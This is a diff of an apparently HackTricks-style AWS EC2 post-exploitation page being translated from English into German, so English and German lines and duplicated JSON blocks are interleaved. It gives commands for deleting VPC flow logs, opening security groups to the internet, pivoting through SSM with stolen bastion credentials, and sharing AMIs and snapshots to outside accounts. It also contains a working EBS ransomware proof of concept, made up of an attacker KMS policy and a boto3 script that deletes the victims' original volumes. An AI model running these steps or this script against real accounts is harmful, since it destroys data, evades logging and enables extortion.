Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
### Datenexfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
#### DNS-Exfiltration
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie dennoch **über DNS exfiltrieren**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- **VPC Flow Logs werden dies nicht aufzeichnen**.
|
||||
- Sie haben keinen Zugriff auf AWS DNS-Logs.
|
||||
- Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
#### Exfiltration über API-Aufrufe
|
||||
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
You could get further access to network services by opening ports like this:
|
||||
### Offene Sicherheitsgruppe
|
||||
|
||||
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc zu ECS
|
||||
|
||||
### Privesc to ECS
|
||||
Es ist möglich, eine EC2-Instanz auszuführen und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.
|
||||
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### VPC-Flow-Protokolle entfernen
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
Erforderliche Berechtigungen:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
|
||||
One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
|
||||
Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr, was missbraucht werden kann, um von EC2-Instanzen zu pivotieren, die aufgrund von Sicherheitsgruppen oder NACLs keinen Netzwerkzugang haben. Ein Szenario, in dem dies nützlich ist, ist das Pivotieren von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
|
||||
|
||||
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Install the SessionManagerPlugin on your machine
|
||||
2. Log in to the Bastion EC2 using the following command:
|
||||
> Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installieren Sie das SessionManagerPlugin auf Ihrem Computer
|
||||
2. Melden Sie sich mit dem folgenden Befehl beim Bastion EC2 an:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
|
||||
3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile
|
||||
5. Log in to EKS as the Bastion EC2:
|
||||
|
||||
3. Holen Sie sich die temporären Anmeldeinformationen des Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript
|
||||
4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil
|
||||
5. Melden Sie sich bei EKS als Bastion EC2 an:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
|
||||
6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost`
|
||||
7. Create an SSM tunnel as follows:
|
||||
|
||||
6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen
|
||||
7. Erstellen Sie einen SSM-Tunnel wie folgt:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
|
||||
8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running:
|
||||
|
||||
8. Der Verkehr vom `kubectl`-Tool wird jetzt über den SSM-Tunnel über die Bastion EC2 weitergeleitet, und Sie können auf den privaten EKS-Cluster von Ihrem eigenen Computer aus zugreifen, indem Sie Folgendes ausführen:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das Flag `--insecure-skip-tls-verify` (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
|
||||
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
|
||||
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.
|
||||
|
||||
### Share AMI
|
||||
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
|
||||
|
||||
### Search sensitive information in public and private AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.
|
||||
|
||||
### Share EBS Snapshot
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
|
||||
|
||||
### EBS-Snapshot teilen
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
### EBS Ransomware PoC
|
||||
|
||||
A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it.
|
||||
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.
|
||||
|
||||
Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Outside Encryption",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey",
|
||||
"kms:GenerateDataKeyWithoutPlainText",
|
||||
"kms:CreateGrant"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:CreateGrant",
|
||||
"kms:ListGrants",
|
||||
"kms:RevokeGrant"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Outside Encryption",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey",
|
||||
"kms:GenerateDataKeyWithoutPlainText",
|
||||
"kms:CreateGrant"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:CreateGrant",
|
||||
"kms:ListGrants",
|
||||
"kms:RevokeGrant"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichkeit zu ermöglichen, ein EBS-Volume zu verschlüsseln:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Jetzt mit dem öffentlich zugänglichen Schlüssel zur Verwendung. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.
|
||||
|
||||
 
|
||||
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
Ähnlich wie im S3-Ransomware-Beispiel. Dieser Angriff wird Kopien der angehängten EBS-Volumes mithilfe von Snapshots erstellen, den öffentlich verfügbaren Schlüssel aus dem 'Angreifer'-Konto verwenden, um die neuen EBS-Volumes zu verschlüsseln, dann die ursprünglichen EBS-Volumes von den EC2-Instanzen trennen und löschen und schließlich die Snapshots löschen, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verbleiben.
|
||||
|
||||

|
||||
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
Es ist auch erwähnenswert, dass das Skript die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
|
||||
|
||||

|
||||
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
|
||||
Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen die Richtlinienregel 'Outside Encryption' aus der Schlüsselrichtlinie.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
Warten Sie einen Moment, bis die neu festgelegte Schlüsselrichtlinie propagiert ist. Kehren Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
|
||||
|
||||
 
|
||||
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird es einfach fehlschlagen und für immer vom 'pending'-Zustand zurück in den 'stopped'-Zustand wechseln, da das angehängte EBS-Volume mit dem Schlüssel nicht entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.
|
||||
|
||||
 
|
||||
|
||||
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
|
||||
|
||||
Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
from botocore.exceptions import ClientError
|
||||
|
||||
def enumerate_ec2_instances(ec2_client):
|
||||
instances = ec2_client.describe_instances()
|
||||
instance_volumes = {}
|
||||
for reservation in instances['Reservations']:
|
||||
for instance in reservation['Instances']:
|
||||
instance_id = instance['InstanceId']
|
||||
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
|
||||
instance_volumes[instance_id] = volumes
|
||||
return instance_volumes
|
||||
instances = ec2_client.describe_instances()
|
||||
instance_volumes = {}
|
||||
for reservation in instances['Reservations']:
|
||||
for instance in reservation['Instances']:
|
||||
instance_id = instance['InstanceId']
|
||||
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
|
||||
instance_volumes[instance_id] = volumes
|
||||
return instance_volumes
|
||||
|
||||
def snapshot_volumes(ec2_client, volumes):
|
||||
snapshot_ids = []
|
||||
for volume_id in volumes:
|
||||
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
|
||||
snapshot_ids.append(snapshot['SnapshotId'])
|
||||
return snapshot_ids
|
||||
snapshot_ids = []
|
||||
for volume_id in volumes:
|
||||
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
|
||||
snapshot_ids.append(snapshot['SnapshotId'])
|
||||
return snapshot_ids
|
||||
|
||||
def wait_for_snapshots(ec2_client, snapshot_ids):
|
||||
for snapshot_id in snapshot_ids:
|
||||
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
|
||||
for snapshot_id in snapshot_ids:
|
||||
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
|
||||
|
||||
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
|
||||
new_volume_ids = []
|
||||
for snapshot_id in snapshot_ids:
|
||||
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
|
||||
volume_id = snapshot_info['VolumeId']
|
||||
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
|
||||
availability_zone = volume_info['AvailabilityZone']
|
||||
new_volume_ids = []
|
||||
for snapshot_id in snapshot_ids:
|
||||
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
|
||||
volume_id = snapshot_info['VolumeId']
|
||||
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
|
||||
availability_zone = volume_info['AvailabilityZone']
|
||||
|
||||
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
|
||||
Encrypted=True, KmsKeyId=kms_key_arn)
|
||||
new_volume_ids.append(volume['VolumeId'])
|
||||
return new_volume_ids
|
||||
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
|
||||
Encrypted=True, KmsKeyId=kms_key_arn)
|
||||
new_volume_ids.append(volume['VolumeId'])
|
||||
return new_volume_ids
|
||||
|
||||
def stop_instances(ec2_client, instance_ids):
|
||||
for instance_id in instance_ids:
|
||||
try:
|
||||
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
|
||||
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
|
||||
for instance_id in instance_ids:
|
||||
try:
|
||||
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
|
||||
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
|
||||
|
||||
if instance_state == 'running':
|
||||
ec2_client.stop_instances(InstanceIds=[instance_id])
|
||||
print(f"Stopping instance: {instance_id}")
|
||||
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
|
||||
print(f"Instance {instance_id} stopped.")
|
||||
else:
|
||||
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
|
||||
if instance_state == 'running':
|
||||
ec2_client.stop_instances(InstanceIds=[instance_id])
|
||||
print(f"Stopping instance: {instance_id}")
|
||||
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
|
||||
print(f"Instance {instance_id} stopped.")
|
||||
else:
|
||||
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
|
||||
|
||||
except ClientError as e:
|
||||
print(f"Error stopping instance {instance_id}: {e}")
|
||||
except ClientError as e:
|
||||
print(f"Error stopping instance {instance_id}: {e}")
|
||||
|
||||
def detach_and_delete_volumes(ec2_client, volumes):
|
||||
for volume_id in volumes:
|
||||
try:
|
||||
ec2_client.detach_volume(VolumeId=volume_id)
|
||||
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
|
||||
ec2_client.delete_volume(VolumeId=volume_id)
|
||||
print(f"Deleted volume: {volume_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error detaching or deleting volume {volume_id}: {e}")
|
||||
for volume_id in volumes:
|
||||
try:
|
||||
ec2_client.detach_volume(VolumeId=volume_id)
|
||||
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
|
||||
ec2_client.delete_volume(VolumeId=volume_id)
|
||||
